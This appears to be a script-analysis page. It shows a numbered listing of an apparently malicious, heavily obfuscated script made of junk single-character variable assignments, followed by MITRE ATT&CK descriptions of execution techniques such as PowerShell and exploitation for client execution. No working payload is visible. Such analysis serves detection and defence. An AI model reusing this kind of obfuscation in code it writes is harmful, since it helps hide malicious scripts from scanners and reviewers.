375	tnclvf = "h";
376	tnclvf = "O";
377	tnclvf = "k";
378	tnclvf = "I";
379	tnclvf = "y";
380	tnclvf = "R";
381	tnclvf = "n";
382	tnclvf = "W";
383	tnclvf = "p";
384	tnclvf = "q";
385	tnclvf = "h";
386	tnclvf = "F";
387	tnclvf = "Z";
388	tnclvf = "C";
389	tnclvf = "y";
390	tnclvf = "K";
391	tnclvf = "R";
392	tnclvf = "b";
393	tnclvf = "i";
394	tnclvf = "l";
395	tnclvf = "x";
396	tnclvf = "X";
397	tnclvf = "V";
398	tnclvf = "U";
399	tnclvf = "q";
400	tnclvf = "D";
401	tnclvf = "y";
402	tnclvf = "C";
403	tnclvf = "l";
404	inxsdb = "B";
405	inxsdb = "E";
406	inxsdb = "l";
407	inxsdb = "G";
408	inxsdb = "V";
409	inxsdb = "z";
410	inxsdb = "g";
411	inxsdb = "n";
412	inxsdb = "F";
413	inxsdb = "J";
414	inxsdb = "A";
415	inxsdb = "j";
416	inxsdb = "t";
417	inxsdb = "s";
418	inxsdb = "E";
419	inxsdb = "F";
420	inxsdb = "T";
421	inxsdb = "O";
422	inxsdb = "L";
423	inxsdb = "n";
424	inxsdb = "J";
425	inxsdb = "x";
426	inxsdb = "k";
427	inxsdb = "K";
428	inxsdb = "z";
429	inxsdb = "V";
430	inxsdb = "A";
431	inxsdb = "I";
432	inxsdb = "G";
433	inxsdb = "J";
434	inxsdb = "k";
435	inxsdb = "g";
436	inxsdb = "M";
437	inxsdb = "N";
438	inxsdb = "f";
439	inxsdb = "k";
440	inxsdb = "i";
441	inxsdb = "m";
442	tklorooq = "G";
443	tklorooq = "E";
444	tklorooq = "Y";
445	tklorooq = "f";
446	tklorooq = "l";
447	tklorooq = "D";
448	tklorooq = "w";
449	tklorooq = "X";
450	tklorooq = "t";
451	tklorooq = "w";
452	tklorooq = "r";
453	tklorooq = "I";
454	tklorooq = "M";
455	tklorooq = "B";
456	tklorooq = "p";
457	tklorooq = "T";
458	tklorooq = "Q";
459	tklorooq = "G";
460	tklorooq = "Z";
461	tklorooq = "n";
462	tklorooq = "a";
463	tklorooq = "u";
464	tklorooq = "K";
465	tklorooq = "F";
466	tklorooq = "o";
467	tklorooq = "k";
468	tklorooq = "J";
469	tklorooq = "I";
470	tklorooq = "U";
471	ugsnkbpjp = "A";
472	ugsnkbpjp = "q";
473	ugsnkbpjp = "s";
474	ugsnkbpjp = "h";
475	ugsnkbpjp = "D";
476	ugsnkbpjp = "x";
477	ugsnkbpjp = "c";
478	ugsnkbpjp = "t";
479	ugsnkbpjp = "D";
480	ugsnkbpjp = "w";
481	ugsnkbpjp = "D";
482	ugsnkbpjp = "o";
483	ugsnkbpjp = "O";
484	ugsnkbpjp = "u";
485	ugsnkbpjp = "z";
486	ugsnkbpjp = "h";
487	ugsnkbpjp = "H";
488	ugsnkbpjp = "c";
489	ugsnkbpjp = "r";
490	ugsnkbpjp = "B";
491	ugsnkbpjp = "l";
492	ugsnkbpjp = "I";
493	ugsnkbpjp = "q";
494	ugsnkbpjp = "i";
495	ugsnkbpjp = "L";
496	ugsnkbpjp = "p";
497	ugsnkbpjp = "m";
498	ugsnkbpjp = "g";
499	ugsnkbpjp = "b";
500	ugsnkbpjp = "x";
501	ugsnkbpjp = "Q";
502	ugsnkbpjp = "G";
503	ugsnkbpjp = "I";
504	ugsnkbpjp = "d";
505	ugsnkbpjp = "l";
506	ugsnkbpjp = "f";
507	ugsnkbpjp = "v";
508	ugsnkbpjp = "L";
509	ugsnkbpjp = "K";
510	ugsnkbpjp = "1";
511	slcav = "L";
512	slcav = "M";
513	slcav = "n";
514	slcav = "W";
515	slcav = "F";
516	slcav = "x";
517	slcav = "j";
518	slcav = "q";
519	slcav = "C";
520	slcav = "t";
521	slcav = "J";
522	slcav = "M";
523	slcav = "e";
524	slcav = "t";
525	slcav = "N";
526	slcav = "b";
527	slcav = "e";
528	slcav = "c";
529	slcav = "j";
530	slcav = "R";
531	slcav = "F";
532	slcav = "k";
533	slcav = "U";
534	slcav = "H";
535	slcav = "M";
536	slcav = "Y";
537	slcav = "d";
538	slcav = "X";
539	slcav = "J";
540	slcav = "l";
541	slcav = "k";
542	slcav = "X";
543	slcav = "R";
544	slcav = "V";
545	slcav = "N";
546	slcav = "B";
547	slcav = "X";
548	slcav = "H";
549	slcav = "F";
550	slcav = "R";
551	slcav = "F";
552	slcav = "Z";
553	slcav = "x";
554	slcav = "3";
555	qrdilcuik = "t";
556	qrdilcuik = "I";
557	qrdilcuik = "D";
558	qrdilcuik = "E";
559	qrdilcuik = "V";
560	qrdilcuik = "i";
561	qrdilcuik = "l";
562	qrdilcuik = "S";
563	qrdilcuik = "c";
564	qrdilcuik = "n";
565	qrdilcuik = "N";
566	qrdilcuik = "u";
567	qrdilcuik = "A";
568	qrdilcuik = "s";
569	qrdilcuik = "Y";
570	qrdilcuik = "b";
571	qrdilcuik = "C";
572	qrdilcuik = "B";
573	qrdilcuik = "I";
574	qrdilcuik = "q";
575	qrdilcuik = "l";
576	qrdilcuik = "F";
577	qrdilcuik = "S";
578	qrdilcuik = "W";
579	qrdilcuik = "v";
580	qrdilcuik = "x";
581	qrdilcuik = "T";
582	onsjolhdq = "j";
583	onsjolhdq = "y";
584	onsjolhdq = "a";
585	onsjolhdq = "R";
586	onsjolhdq = "U";
587	onsjolhdq = "A";
588	onsjolhdq = "I";
589	onsjolhdq = "w";
590	onsjolhdq = "y";
591	onsjolhdq = "N";
592	onsjolhdq = "L";
593	onsjolhdq = "k";
594	onsjolhdq = "r";
595	onsjolhdq = "b";
596	onsjolhdq = "o";
597	onsjolhdq = "h";
598	onsjolhdq = "w";
599	onsjolhdq = "h";
600	onsjolhdq = "y";
601	onsjolhdq = "d";
602	onsjolhdq = "N";
603	onsjolhdq = "d";
604	onsjolhdq = "P";
605	onsjolhdq = "i";
606	xrnqexvs = "l";
607	xrnqexvs = "D";
608	xrnqexvs = "V";
609	xrnqexvs = "Z";
610	xrnqexvs = "h";
611	xrnqexvs = "b";
612	xrnqexvs = "k";
613	xrnqexvs = "P";
614	xrnqexvs = "d";
615	xrnqexvs = "O";
616	xrnqexvs = "F";
617	xrnqexvs = "t";
618	xrnqexvs = "p";
619	xrnqexvs = "h";
620	xrnqexvs = "y";
621	xrnqexvs = "y";
622	xrnqexvs = "j";
623	xrnqexvs = "P";
624	xrnqexvs = "q";
625	xrnqexvs = "s";
626	xrnqexvs = "N";
627	xrnqexvs = "K";
628	xrnqexvs = "N";
629	xrnqexvs = "L";
630	xrnqexvs = "E";
631	xrnqexvs = "o";
632	xrnqexvs = "w";
633	xrnqexvs = "D";
634	xrnqexvs = "k";
635	xrnqexvs = "B";
636	xrnqexvs = "R";
637	xrnqexvs = "h";
638	trvsfvj = "y";
639	trvsfvj = "i";
640	trvsfvj = "X";
641	trvsfvj = "j";
642	trvsfvj = "V";
643	trvsfvj = "E";
644	trvsfvj = "K";
645	trvsfvj = "l";
646	trvsfvj = "N";
647	trvsfvj = "G";
648	trvsfvj = "u";
649	jvqijol = "t";
650	jvqijol = "o";
651	zfxnyu = "C";
652	zfxnyu = "C";
653	zfxnyu = "H";
654	zfxnyu = "V";
655	zfxnyu = "Z";
656	zfxnyu = "m";
657	zfxnyu = "V";
658	zfxnyu = "k";
659	zfxnyu = "c";
660	zfxnyu = "X";
661	zfxnyu = "F";
662	zfxnyu = "H";
663	zfxnyu = "b";
664	zfxnyu = "F";
665	zfxnyu = "V";
666	zfxnyu = "F";
667	zfxnyu = "C";
668	zfxnyu = "v";
669	zfxnyu = "j";
670	zfxnyu = "e";
671	zfxnyu = "H";
672	zfxnyu = "I";
673	zfxnyu = "c";
674	zfxnyu = "Q";
675	zfxnyu = "S";
676	zfxnyu = "i";
677	zfxnyu = "K";
678	zfxnyu = "q";
679	zfxnyu = "d";
680	zfxnyu = "C";
681	zfxnyu = "D";
682	zfxnyu = "p";
683	zfxnyu = "D";
684	zfxnyu = "A";
685	zfxnyu = "F";
686	zfxnyu = "v";
687	zfxnyu = "N";
688	zfxnyu = "p";
689	zfxnyu = "@";
690	ivekd = "a";
691	ivekd = "v";
692	ivekd = "w";
693	ivekd = "f";
694	ivekd = "e";
695	ivekd = "R";
696	ivekd = "h";
697	ivekd = "j";
698	ivekd = "q";
699	ivekd = "E";
700	ivekd = "x";
701	ivekd = "f";
702	ivekd = "A";
703	ivekd = "p";
704	ivekd = "W";
705	ivekd = "G";
706	ivekd = "o";
707	ivekd = "g";
708	ivekd = "G";
709	ivekd = "F";
710	ivekd = "v";
711	ryfchuf = "i";
712	ryfchuf = "z";
713	ryfchuf = "D";
714	ryfchuf = "U";
715	ryfchuf = "t";
716	ryfchuf = "b";
717	ryfchuf = "b";
718	ryfchuf = "o";
719	ryfchuf = "N";
720	ryfchuf = "T";
721	ryfchuf = "G";
722	ryfchuf = "z";
723	ryfchuf = "D";
724	ryfchuf = "x";
725	tvzajhrs = "S";
726	tvzajhrs = "D";
727	tvzajhrs = "n";
728	tvzajhrs = "p";
729	tvzajhrs = "q";
730	tvzajhrs = "c";
731	tvzajhrs = "v";
732	tvzajhrs = "B";
733	tvzajhrs = "E";
734	tvzajhrs = "q";
735	tvzajhrs = "V";
736	tvzajhrs = "C";
737	avxbw = "T";
738	avxbw = "c";
739	avxbw = "o";
740	avxbw = "c";
741	avxbw = "Y";
742	avxbw = "S";
743	avxbw = "j";
744	avxbw = "c";
745	avxbw = "d";
746	avxbw = "a";
747	avxbw = "P";
748	avxbw = "G";
749	avxbw = "V";
750	avxbw = "R";
751	avxbw = "E";
752	avxbw = "y";
753	avxbw = "Y";
754	avxbw = "8";
755	yiboan = " ";
756	owbtrls = "R";
757	owbtrls = "X";
758	owbtrls = "s";
759	owbtrls = "M";
760	owbtrls = "b";
761	owbtrls = "S";
762	owbtrls = "l";
763	owbtrls = "o";
764	owbtrls = "J";
765	owbtrls = "O";
766	owbtrls = "V";
767	owbtrls = "b";
768	owbtrls = "H";
769	owbtrls = "l";
770	owbtrls = "o";
771	owbtrls = "l";
772	owbtrls = "a";
773	owbtrls = "o";
774	owbtrls = "K";
775	owbtrls = "a";
776	qlkvbroj = "k";
777	qlkvbroj = "x";
778	qlkvbroj = "D";
779	qlkvbroj = "t";
780	qlkvbroj = "b";
781	qlkvbroj = "Y";
782	qlkvbroj = "n";
783	qlkvbroj = "L";
784	qlkvbroj = "d";
785	qlkvbroj = "V";
786	qlkvbroj = "Q";
787	qlkvbroj = "n";
788	qlkvbroj = "k";
789	qlkvbroj = "G";
790	qlkvbroj = "s";
791	qlkvbroj = "D";
792	qlkvbroj = "G";
793	qlkvbroj = "x";
794	qlkvbroj = "v";
795	qlkvbroj = "V";
796	qlkvbroj = "N";
797	qlkvbroj = "G";
798	qlkvbroj = "D";
799	qlkvbroj = "F";
800	qlkvbroj = "p";
801	qlkvbroj = "z";
802	qlkvbroj = "L";
803	qlkvbroj = "H";
804	qlkvbroj = "P";
805	qlkvbroj = "I";
806	qlkvbroj = "P";
807	qlkvbroj = "b";
808	qlkvbroj = "T";
809	qlkvbroj = "h";
810	qlkvbroj = "p";
811	qlkvbroj = "e";
812	qlkvbroj = "Y";
813	qlkvbroj = "\\";
814	wyxux = "y";
815	wyxux = "y";
816	wyxux = "Z";
817	wyxux = "Q";
818	wyxux = "B";
819	wyxux = "V";
820	wyxux = "e";
821	wyxux = "l";
822	wyxux = "d";
823	wyxux = "A";
824	wyxux = "L";
825	wyxux = "y";
826	wyxux = "F";
827	wyxux = "J";
828	wyxux = "k";
829	wyxux = "h";
830	wyxux = "r";
831	wyxux = "W";
832	wyxux = "f";
833	wyxux = "U";
834	wyxux = "a";
835	wyxux = "Y";
836	wyxux = "P";
837	wyxux = "H";
838	wyxux = "L";
839	wyxux = "A";
840	wyxux = "j";
841	wyxux = "I";
842	wyxux = "d";
843	wyxux = "V";
844	wyxux = "i";
845	wyxux = "u";
846	wyxux = "G";
847	wyxux = "i";
848	wyxux = "S";
849	wyxux = "x";
850	wyxux = "Q";
851	bnpaz = "P";
852	bnpaz = "o";
853	bnpaz = "m";
854	bnpaz = "I";
855	bnpaz = "a";
856	bnpaz = "x";
857	bnpaz = "e";
858	bnpaz = "P";
859	bnpaz = "c";
860	bnpaz = "S";
861	bnpaz = "z";
862	bnpaz = "x";
863	bnpaz = "j";
864	bnpaz = "K";
865	bnpaz = "e";
866	bnpaz = "g";
867	bnpaz = "a";
868	bnpaz = "S";
869	bnpaz = "M";
870	bnpaz = "C";
871	bnpaz = "E";
872	bnpaz = "h";
873	bnpaz = "r";
874	bnpaz = "q";
875	jlczkucx = "G";
876	jlczkucx = "y";
877	jlczkucx = "R";
878	jlczkucx = "H";
879	jlczkucx = "g";
880	jlczkucx = "J";
881	jlczkucx = "U";
882	jlczkucx = "o";
883	jlczkucx = "X";
884	jlczkucx = "E";
885	jlczkucx = "C";
886	jlczkucx = "A";
887	jlczkucx = "G";
888	jlczkucx = "X";
889	jlczkucx = "c";
890	jlczkucx = "n";
891	jlczkucx = "G";
892	jlczkucx = "P";
893	jlczkucx = ".";
894	bgqklebd = "W";
895	bgqklebd = "Y";
896	bgqklebd = "w";
897	bgqklebd = "S";
898	bgqklebd = "s";
899	bgqklebd = "J";
900	bgqklebd = "Z";
901	bgqklebd = "Z";
902	bgqklebd = "I";
903	bgqklebd = "p";
904	bgqklebd = "H";
905	bgqklebd = "e";
906	bgqklebd = "Q";
907	bgqklebd = "z";
908	bgqklebd = "i";
909	bgqklebd = "b";
910	bgqklebd = "M";
911	bgqklebd = "Z";
912	bgqklebd = "j";
913	bgqklebd = "H";
914	bgqklebd = "l";
915	bgqklebd = "h";
916	bgqklebd = "k";
917	bgqklebd = "P";
918	bgqklebd = "j";
919	bgqklebd = "G";
920	bgqklebd = "y";
921	bgqklebd = "N";
922	bgqklebd = "V";
923	bgqklebd = "l";
924	bgqklebd = "q";
925	bgqklebd = "x";
926	bgqklebd = "Y";
927	bgqklebd = "y";
928	bgqklebd = "o";
929	bgqklebd = "T";
930	bgqklebd = "l";
931	bgqklebd = "k";
932	bgqklebd = "M";
933	bgqklebd = "j";
934	qevihewh = "k";
935	qevihewh = "O";
936	qevihewh = "z";
937	qevihewh = "Y";
938	qevihewh = "C";
939	qevihewh = "s";
940	qevihewh = "w";
941	qevihewh = "o";
942	qevihewh = "l";
943	qevihewh = "n";
944	qevihewh = "n";
945	qevihewh = "D";
946	qevihewh = "y";
947	qevihewh = "O";
948	qevihewh = "F";
949	qevihewh = "b";
950	qevihewh = "M";
951	qevihewh = "V";
952	qevihewh = "j";
953	qevihewh = "O";
954	qevihewh = "V";
955	qevihewh = "k";
956	qevihewh = "g";
957	qevihewh = "m";
958	qevihewh = "f";
959	qevihewh = "T";
960	qevihewh = "R";
961	qevihewh = "k";
962	qevihewh = "i";
963	qevihewh = "H";
964	qevihewh = "Q";
965	qevihewh = "s";
966	qevihewh = "O";
967	qevihewh = "j";
968	qevihewh = "w";
969	qevihewh = "K";
970	qevihewh = "g";
971	qevihewh = "h";
972	qevihewh = "E";
973	qevihewh = "Q";
974	qevihewh = "E";
975	qevihewh = "2";
976	rtdtth = "w";
977	rtdtth = "e";
978	rtdtth = "N";
979	rtdtth = "L";
980	rtdtth = "j";
981	rtdtth = "S";
982	rtdtth = "C";
983	rtdtth = "v";
984	rtdtth = "S";
985	rtdtth = "i";
986	rtdtth = "X";
987	rtdtth = "Q";
988	rtdtth = "M";
989	rtdtth = "i";
990	rtdtth = "z";
991	rtdtth = "g";
992	rtdtth = "J";
993	rtdtth = "X";
994	rtdtth = "c";
995	rtdtth = "D";
996	rtdtth = "h";
997	rtdtth = "R";
998	rtdtth = "I";
999	rtdtth = "R";
1000	rtdtth = "M";
1001	rtdtth = "p";
1002	rtdtth = "w";
1003	rtdtth = "J";
1004	rtdtth = "X";
1005	rtdtth = "B";
1006	rtdtth = "V";
1007	rtdtth = "w";
1008	rtdtth = "L";
1009	rtdtth = "u";
1010	rtdtth = "F";
1011	rtdtth = "O";
1012	rtdtth = "f";
1013	lcgwzwfk = "Y";
1014	lcgwzwfk = "c";
1015	lcgwzwfk = "q";
1016	lcgwzwfk = "M";
1017	lcgwzwfk = "p";
1018	lcgwzwfk = "w";
1019	ikaafhiq = "n";
1020	ikaafhiq = "B";
1021	ikaafhiq = "E";
1022	ikaafhiq = "X";
1023	ikaafhiq = "S";
1024	ikaafhiq = "i";
1025	ikaafhiq = "k";
1026	ikaafhiq = "A";
1027	ikaafhiq = "Y";
1028	fqohnvvy = "a";
1029	fqohnvvy = "g";
1030	fqohnvvy = "W";
1031	fqohnvvy = "T";
1032	fqohnvvy = "p";
1033	fqohnvvy = "o";
1034	fqohnvvy = "Z";
1035	fqohnvvy = "m";
1036	fqohnvvy = "p";
1037	fqohnvvy = "K";
1038	fqohnvvy = "u";
1039	fqohnvvy = "m";
1040	fqohnvvy = "M";
1041	fqohnvvy = "J";
1042	fqohnvvy = "N";
1043	fqohnvvy = "U";
1044	fqohnvvy = "X";
1045	fqohnvvy = "r";
1046	fqohnvvy = "c";
1047	fqohnvvy = "o";
1048	fqohnvvy = "q";
1049	fqohnvvy = "G";
1050	fqohnvvy = "v";
1051	fqohnvvy = "z";
1052	fqohnvvy = "t";
1053	fqohnvvy = "L";
1054	fqohnvvy = "P";
1055	fqohnvvy = "K";
1056	fqohnvvy = "w";
1057	fqohnvvy = "g";
1058	fqohnvvy = "c";
1059	fqohnvvy = "K";
1060	fqohnvvy = "m";
1061	fqohnvvy = "A";
1062	fqohnvvy = "j";
1063	fqohnvvy = "V";
1064	fqohnvvy = "O";
1065	fqohnvvy = "V";
1066	fqohnvvy = "I";
1067	fqohnvvy = "b";
1068	fqohnvvy = "0";
1069	vnnuvkup = "m";
1070	vnnuvkup = "T";
1071	vnnuvkup = "w";
1072	vnnuvkup = "w";
1073	vnnuvkup = "j";
1074	vnnuvkup = "o";
1075	vnnuvkup = "u";
1076	vnnuvkup = "s";
1077	vnnuvkup = "e";
1078	vnnuvkup = "y";
1079	vnnuvkup = "p";
1080	vnnuvkup = "L";
1081	vnnuvkup = "L";
1082	vnnuvkup = "U";
1083	vnnuvkup = "l";
1084	vnnuvkup = "s";
1085	vnnuvkup = "L";
1086	vnnuvkup = "n";
1087	vnnuvkup = "l";
1088	vnnuvkup = "T";
1089	vnnuvkup = "L";
1090	vnnuvkup = "H";
1091	vnnuvkup = "N";
1092	vnnuvkup = "f";
1093	vnnuvkup = "W";
1094	vnnuvkup = "k";
1095	vnnuvkup = "x";
1096	vnnuvkup = "l";
1097	vnnuvkup = "o";
1098	vnnuvkup = "i";
1099	vnnuvkup = "v";
1100	vnnuvkup = "R";
1101	vnnuvkup = "N";
1102	vnnuvkup = "g";
1103	vnnuvkup = "_";
1104	koyzuph = "t";
1105	koyzuph = "t";
1106	koyzuph = "i";
1107	koyzuph = "g";
1108	koyzuph = "Y";
1109	koyzuph = "A";
1110	koyzuph = "k";
1111	koyzuph = "a";
1112	koyzuph = "g";
1113	koyzuph = "L";
1114	koyzuph = "k";
1115	koyzuph = "f";
1116	koyzuph = "B";
1117	koyzuph = "j";
1118	koyzuph = "t";
1119	koyzuph = "g";
1120	koyzuph = "K";
1121	koyzuph = "p";
1122	koyzuph = "r";
1123	bymzbnxr = "r";
1124	bymzbnxr = "C";
1125	bymzbnxr = "d";
1126	bymzbnxr = "C";
1127	bymzbnxr = "D";
1128	bymzbnxr = "B";
1129	bymzbnxr = "r";
1130	bymzbnxr = "M";
1131	bymzbnxr = "C";
1132	bymzbnxr = "P";
1133	bymzbnxr = "J";
1134	bymzbnxr = "m";
1135	bymzbnxr = "A";
1136	bymzbnxr = "T";
1137	bymzbnxr = "Q";
1138	bymzbnxr = "K";
1139	bymzbnxr = "l";
1140	bymzbnxr = "&";
1141	vbumvj = "z";
1142	vbumvj = "m";
1143	vbumvj = "o";
1144	vbumvj = "N";
1145	vbumvj = "c";
1146	vbumvj = "w";
1147	vbumvj = "A";
1148	vbumvj = "m";
1149	vbumvj = "h";
1150	vbumvj = "k";
1151	vbumvj = "y";
1152	vbumvj = "k";
1153	vbumvj = "F";
1154	vbumvj = "r";
1155	vbumvj = "e";
1156	vbumvj = "e";
1157	vbumvj = "J";
1158	vbumvj = "X";
1159	vbumvj = "T";
1160	vbumvj = "F";
1161	vbumvj = "o";
1162	vbumvj = "z";
1163	vbumvj = "O";
1164	vbumvj = "w";
1165	vbumvj = "V";
1166	vbumvj = "W";
1167	vbumvj = "j";
1168	vbumvj = "n";
1169	vbumvj = "J";
1170	vbumvj = "w";
1171	vbumvj = "4";
1172	cypsysa = "V";
1173	cypsysa = "w";
1174	cypsysa = "M";
1175	cypsysa = "O";
1176	cypsysa = "H";
1177	cypsysa = "I";
1178	cypsysa = "h";
1179	cypsysa = "H";
1180	cypsysa = "C";
1181	cypsysa = "r";
1182	cypsysa = "e";
1183	cypsysa = "I";
1184	cypsysa = "v";
1185	cypsysa = "Z";
1186	cypsysa = "x";
1187	cypsysa = "r";
1188	cypsysa = "n";
1189	cypsysa = "d";
1190	cypsysa = "P";
1191	cypsysa = "Q";
1192	cypsysa = "U";
1193	cypsysa = "Z";
1194	cypsysa = "k";
1195	cypsysa = "l";
1196	cypsysa = "O";
1197	jgnhku = "j";
1198	jgnhku = "r";
1199	jgnhku = "e";
1200	jgnhku = "Y";
1201	jgnhku = "D";
1202	jgnhku = "W";
1203	jgnhku = "c";
1204	jgnhku = "/";
1205	lvqukoe = "g";
1206	lvqukoe = "w";
1207	lvqukoe = "t";
1208	lvqukoe = "k";
1209	lvqukoe = "w";
1210	lvqukoe = "X";
1211	lvqukoe = "a";
1212	lvqukoe = "S";
1213	lvqukoe = "d";
1214	lvqukoe = "E";
1215	lvqukoe = "F";
1216	lvqukoe = "c";
1217	lvqukoe = "b";
1218	lvqukoe = "q";
1219	lvqukoe = "h";
1220	lvqukoe = "Q";
1221	lvqukoe = "S";
1222	lvqukoe = "g";
1223	lvqukoe = "A";
1224	lvqukoe = "d";
1225	upzdu = "W";
1226	upzdu = "r";
1227	upzdu = "i";
1228	upzdu = "C";
1229	upzdu = "p";
1230	upzdu = "g";
1231	upzdu = "O";
1232	upzdu = "j";
1233	upzdu = "V";
1234	upzdu = "H";
1235	upzdu = "G";
1236	upzdu = "A";
1237	upzdu = "X";
1238	upzdu = "h";
1239	upzdu = "W";
1240	upzdu = "a";
1241	upzdu = "e";
1242	upzdu = "P";
1243	upzdu = "A";
1244	upzdu = "a";
1245	upzdu = "M";
1246	upzdu = "\"";
1247	aiaqap = "S";
1248	aiaqap = "v";
1249	aiaqap = "c";
1250	aiaqap = "E";
1251	aiaqap = "P";
1252	aiaqap = "m";
1253	aiaqap = "z";
1254	aiaqap = "o";
1255	aiaqap = "e";
1256	aiaqap = "z";
1257	aiaqap = "w";
1258	aiaqap = "Z";
1259	aiaqap = "h";
1260	aiaqap = "V";
1261	aiaqap = "t";
1262	aiaqap = "b";
1263	aiaqap = "H";
1264	aiaqap = "g";
1265	aiaqap = "M";
1266	aiaqap = "s";
1267	aiaqap = "S";
1268	aiaqap = "W";
1269	aiaqap = "O";
1270	aiaqap = "w";
1271	aiaqap = "A";
1272	aiaqap = "F";
1273	aiaqap = "Q";
1274	aiaqap = "P";
1275	aiaqap = "f";
1276	aiaqap = "s";
1277	aiaqap = "R";
1278	aiaqap = "y";
1279	aiaqap = "z";
1280	aiaqap = "D";
1281	aiaqap = "a";
1282	aiaqap = "-";
1283	dzaotfp = "T";
1284	dzaotfp = "j";
1285	dzaotfp = "d";
1286	dzaotfp = "q";
1287	dzaotfp = "B";
1288	dzaotfp = "n";
1289	dzaotfp = "J";
1290	dzaotfp = "z";
1291	dzaotfp = "p";
1292	dzaotfp = "z";
1293	dzaotfp = "O";
1294	dzaotfp = "j";
1295	dzaotfp = "L";
1296	dzaotfp = "W";
1297	dzaotfp = "s";
1298	dzaotfp = "N";
1299	rfzdq = "i";
1300	rfzdq = "G";
1301	rfzdq = "Q";
1302	rfzdq = "l";
1303	rfzdq = "Q";
1304	rfzdq = "d";
1305	rfzdq = "w";
1306	rfzdq = "n";
1307	fryhrxqvw = "d";
1308	fryhrxqvw = "s";
1309	fryhrxqvw = "L";
1310	fryhrxqvw = "d";
1311	fryhrxqvw = "H";
1312	fryhrxqvw = "U";
1313	fryhrxqvw = "B";
1314	fryhrxqvw = "q";
1315	fryhrxqvw = "L";
1316	fryhrxqvw = "c";
1317	fryhrxqvw = "J";
1318	fryhrxqvw = "Q";
1319	fryhrxqvw = "H";
1320	fryhrxqvw = "g";
1321	fryhrxqvw = "W";
1322	fryhrxqvw = "S";
1323	fryhrxqvw = "F";
1324	fryhrxqvw = "Z";
1325	fryhrxqvw = "D";
1326	fryhrxqvw = "d";
1327	fryhrxqvw = "z";
1328	fryhrxqvw = "L";
1329	fryhrxqvw = "p";
1330	hqbguzs = "V";
1331	hqbguzs = "e";
1332	yuecimb = "G";
1333	yuecimb = "R";
1334	yuecimb = "E";
1335	yuecimb = "K";
1336	yuecimb = "D";
1337	yuecimb = "l";
1338	yuecimb = "o";
1339	yuecimb = "U";
1340	yuecimb = "G";
1341	yuecimb = "T";
1342	yuecimb = "z";
1343	yuecimb = "i";
1344	yuecimb = "Z";
1345	yuecimb = "Q";
1346	yuecimb = "h";
1347	yuecimb = "V";
1348	yuecimb = "D";
1349	yuecimb = "U";
1350	yuecimb = "a";
1351	yuecimb = "x";
1352	yuecimb = "Z";
1353	yuecimb = "x";
1354	yuecimb = "G";
1355	yuecimb = "t";
1356	zqxgf = "B";
1357	zqxgf = "s";
1358	zqxgf = "C";
1359	zqxgf = "l";
1360	zqxgf = "P";
1361	zqxgf = "o";
1362	zqxgf = "r";
1363	zqxgf = "S";
1364	zqxgf = "Q";
1365	zqxgf = "i";
1366	zqxgf = "F";
1367	tagbnc = "W";
1368	tagbnc = "e";
1369	tagbnc = "R";
1370	tagbnc = "K";
1371	tagbnc = "c";
1372	tagbnc = "K";
1373	tagbnc = "f";
1374	tagbnc = "p";
1375	tagbnc = "e";
1376	tagbnc = "q";
1377	tagbnc = "j";
1378	tagbnc = "r";
1379	tagbnc = "z";
1380	tagbnc = "V";
1381	tagbnc = "s";
1382	tagbnc = "W";
1383	tagbnc = "O";
1384	tagbnc = "C";
1385	tagbnc = "s";
1386	tagbnc = "m";
1387	tagbnc = "H";
1388	tagbnc = "A";
1389	tagbnc = "p";
1390	tagbnc = "U";
1391	tagbnc = "c";
1392	tagbnc = "A";
1393	tagbnc = "5";
1394	ljkkiom = "S";
1395	ljkkiom = "D";
1396	ljkkiom = "W";
1397	ljkkiom = "j";
1398	ljkkiom = "Y";
1399	ljkkiom = "P";
1400	ljkkiom = "X";
1401	ljkkiom = "K";
1402	ljkkiom = "P";
1403	ljkkiom = "F";
1404	ljkkiom = "I";
1405	ljkkiom = "t";
1406	ljkkiom = "L";
1407	ljkkiom = "X";
1408	ljkkiom = "L";
1409	ljkkiom = "H";
1410	ljkkiom = "G";
1411	ljkkiom = "B";
1412	ljkkiom = "m";
1413	ljkkiom = "F";
1414	ljkkiom = "W";
1415	ljkkiom = "v";
1416	ljkkiom = "P";
1417	ljkkiom = "l";
1418	ljkkiom = "E";
1419	ljkkiom = "f";
1420	ljkkiom = "f";
1421	ljkkiom = "T";
1422	ljkkiom = "N";
1423	ljkkiom = "S";
1424	ljkkiom = "9";
1425	sysph = "X";
1426	sysph = "l";
1427	sysph = "C";
1428	sysph = "u";
1429	sysph = "J";
1430	sysph = "L";
1431	sysph = "P";
1432	sysph = "X";
1433	sysph = "q";
1434	sysph = "n";
1435	sysph = "K";
1436	apctgnh ( );	apctgnh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
